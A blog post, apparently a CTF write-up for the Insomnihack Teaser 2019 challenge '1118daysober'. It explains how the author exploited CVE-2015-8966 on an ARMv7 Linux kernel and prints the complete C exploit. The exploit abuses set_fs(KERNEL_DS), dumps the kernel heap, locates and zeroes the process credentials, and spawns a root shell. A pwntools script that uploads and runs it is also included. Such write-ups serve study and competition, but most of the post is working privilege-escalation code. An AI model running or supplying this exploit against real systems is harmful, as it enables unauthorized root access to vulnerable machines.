Blog of Malte Kraus

home

Insomnihack Teaser 2019: 1118daysober - more fun with kernel exploitation

20 Jan 2019

In this challenge, I was given a VM image for ARMv7 with a Linux kernel vulnerable to CVE-2015-8966. Searching for that yielded a POC from Thomas King. Looking at that, I learned that I can get the kernel to return to userspace without resetting a call to set_fs(KERNEL_DS);. Turns out this means that for any syscalls taking pointers, the kernel will only allow pointers pointing to kernel memory and disallow pointers pointing to user-space memory (i.e. the inverse of what's happening normally).

That means, kernel memory can be read written using the write and read syscalls. Since pointers to user-space can't be given to those syscalls once the exploit is triggered, I needed a way to reset the value of fs. I ended up using exec to do that. That makes the resulting exploit a bit confusing, since the main function has a manually coded state machine with the state encoded in argv[1], but that way we can do an arbitrary amount of syscalls, each one with fs set to KERNEL_DS or USER_DS depending on what's needed.

From there on, the only question was how to change the credentials of our process to root. While the kernel didn't have any KASLR, the heap addresses for the struct task_struct or struct cred still isn't entirely predictable. Calling a function like commit_creds isn't completely trivial from memory r/w either. In the end, I decided to dump the whole kernel heap (or rather, a bit more than that) and search it for the unique comm value (i.e. process name) of our process. This comm string is stored inline in the task_struct and immediately preceded by the pointers to the process credentials. (See here for the current kernel version.)

There were some duplicate copies of the string in question in the kernel heap, but there only ever was one that was preceded by something looking like a pointer into the heap. So after following that pointer, we can zero the uid field and we're done. (Except that all the execs change the currently active task from the time of reading memory. To prevent that from interfering, I forked off a child at the beginning so that this child would change the permissions of the parent process.)

With all that said, here's my full exploit:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38

static long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
                             unsigned long arg) {
  register unsigned long _fd asm("a1");
  register unsigned long _cmd asm("a2");
  register unsigned long _arg asm("a3");
  _fd = fd;
  _cmd = cmd;
  _arg = arg;

  register unsigned long _res asm("a1");
  __asm __volatile("swi 0x9000DD"
                   : "=r"(_res)
                   : "r"(_fd), "r"(_cmd), "r"(_arg)
                   :);
  return _res;
}

static void invalidate_limit(void) {
  int fd = open("/proc/cpuinfo", O_RDONLY);
  struct flock *map_base = 0;

  if (fd == -1) {
    perror("open");
    exit(1);
  }
  map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_base == (void *)-1) {
    perror("mmap");
    exit(1);
  }
  printf("map_base %p\n", map_base);
  memset(map_base, 0, 0x1000);
  map_base->l_start = SEEK_SET;

  if (sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)) {
    perror("sys_oabi_fcntl64");
  }
  puts("fcntl done");

  munmap(map_base, 0x1000);

  close(fd);
}
unsigned long kernel_heap_start = 0xc5000000;
unsigned long kernel_heap_end = 0xc66f0000;
static void dump_heap(int io_fd) {
  invalidate_limit();
  while (kernel_heap_start != kernel_heap_end) {
    printf("dumping more heap\n");
    int written = write(io_fd, (void *)kernel_heap_start,
                        kernel_heap_end - kernel_heap_start);
    if (written == -1) {
      perror("write failed");
      exit(1);
    }
    kernel_heap_start += written;
  }
  printf("heap completely dumped\n");

  int pid = fork();
  if (pid == -1) {
    perror("fork");
    exit(1);
  } else if (pid == 0) {
    // child
    execl("./0123456789abcdef", "0123456789abcdef", "b", NULL);
  }
}
static void wait_children(int count) {
  while (count > 0) {
    int status;
    int r;
    do {
      r = waitpid(-1, &status, 0);
      if (r == -1) {
        perror("waitpid");
        exit(1);
      }
    } while (r == 0);
    printf("child %d has exited: ", r);
    if (WIFEXITED(status))
      printf("exit code=%d", WEXITSTATUS(status));
    if (WIFSIGNALED(status))
      printf("signal=%d", WTERMSIG(status));
    if (WIFSTOPPED(status) || WIFCONTINUED(status))
      printf("stop/continue");
    printf("\n");

    count--;
  }
}

static void make_write(int io_fd, void *addr, char *next) {
  int written = write(io_fd, addr, 4);
  if (written != 4) {
    if (written == -1)
      perror("write failed");
    else
      printf("incomplete write: %d!\n", written);
    exit(1);
  }
  if (next)
    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static void make_read(int io_fd, void *addr, char *next) {
  int num_read = read(io_fd, addr, 4);
  if (num_read != 4) {
    if (num_read == -1)
      perror("read failed");
    else
      printf("incomplete read: %d!\n", num_read);
    exit(1);
  }
  if (next)
    execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static unsigned int zero_creds(int io_fd, unsigned int cred_addr) {
  printf("credentials at %x\n", cred_addr);

  if (lseek(io_fd, 0, SEEK_SET) == -1) {
    perror("lseek");
    exit(1);
  }
  printf("zeroing file\n");
  make_write(io_fd, "\0\0\0\0", NULL);
  if (lseek(io_fd, 0, SEEK_SET) == -1) {
    perror("lseek");
    exit(1);
  }

  invalidate_limit();
  printf("writing credentials\n");
  make_read(io_fd, (char *)cred_addr + 4, NULL);
  printf("credentials now 0\n");
}
static unsigned int find_creds(int io_fd) {
  char *map_base = mmap(NULL, kernel_heap_end - kernel_heap_start,
                        PROT_READ | PROT_WRITE, MAP_PRIVATE, io_fd, 0);
  if (map_base == NULL) {
    puts("mmap failed");
    exit(1);
  }
  unsigned int num = 0;
  for (unsigned i = 0; i < kernel_heap_end - kernel_heap_start - 12; i += 4) {
    if (memcmp(map_base + i, "0123456789abcdef", 15) == 0) {
      char *pos = map_base + i;
      printf("candidate at %x\n", i + kernel_heap_start);

      char *cred_effective = pos - 4;
      unsigned int cred_addr = 0;
      memcpy(&cred_addr, cred_effective, 4);

      int pid = fork();
      if (pid == -1) {
        perror("fork");
        exit(1);
      } else if (pid == 0) {
        // child
        if (cred_addr >= kernel_heap_start && cred_addr < kernel_heap_end) {
          zero_creds(io_fd, cred_addr);
        }
        exit(0);
      }
      num++;
    }
  }

  munmap(map_base, kernel_heap_end - kernel_heap_start);

  return num;
}

int main(int argc, char const *argv[]) {
  int io_fd = open("./rw", O_CREAT | O_RDWR | O_CLOEXEC, S_IRUSR | S_IWUSR);

  printf("step %s\n", argv[1]);
  switch (argv[1][0]) {
  case 'a':
    dump_heap(io_fd);
    wait_children(1);
    setuid(0);
    if (geteuid() == 0) {
      puts("got root");
    } else {
      puts("still unprivileged :(");
    }
    execl("/bin/sh", "sh", NULL);
    break;
  case 'b': {
    unsigned int num_candidates = find_creds(io_fd);
    wait_children(num_candidates);
    break;
  }
  }
}

And here's the script I used to compile and 'upload' the program through stdin.

#!/home/malte/.venvs/pwntools/bin/python

import os
from pwn import *
from subprocess import check_call

#context.log_level = 'debug'

check_call("arm-buildroot-linux-uclibcgnueabihf-gcc -static find-heap-pub.c -O3 && 
            arm-buildroot-linux-uclibcgnueabihf-strip a.out", shell=True)

hash_val = md5filehex('./a.out')
recv_hash = ''
encoded = b64e(open('./a.out').read())

os.chdir('./1118daysober_files')
r = process(['./run.sh'], stdin=PTY)#, raw=True)
#r = process(['/usr/bin/sshpass', '-p', '1118daysober', 'ssh',
#             '1118daysober@1118daysober.teaser.insomnihack.ch'], stdin=PTY)#, raw=True)
r.readuntil('/ $')

r.sendlinethen('~ $', 'cd /home/user')

while recv_hash != hash_val:
    if recv_hash:
        print('expected "{}" but got "{}"'.format(hash_val, recv_hash))

    print(r.sendlinethen('\n', 'base64 -d > 0123456789abcdef <<EOF__EOF__EOF__EOF'))
    with log.progress("Uploading...") as p:
        for i in range(0, len(encoded), 78*200):
            for j in range(i, i+78*200, 78):
                p.status("{0:.2f}%".format(float(j)/len(encoded)*100))
                r.sendline(encoded[j:j+78])
            r.recvn(len(encoded[i:i+80*200]))

    r.sendlinethen('$', 'EOF__EOF__EOF__EOF')
    r.sendlinethen('\n', 'md5sum 0123456789abcdef')
    recv_hash = r.readuntil('$').split(' ')[0]

r.sendlinethen('\n', 'chmod +x 0123456789abcdef')

r.sendlinethen('\n', './0123456789abcdef a')

r.sendlinethen('\n', 'id')

r.interactive()

r.sendline('exit')
r.sendlinethen('System halted', 'exit')
r.kill()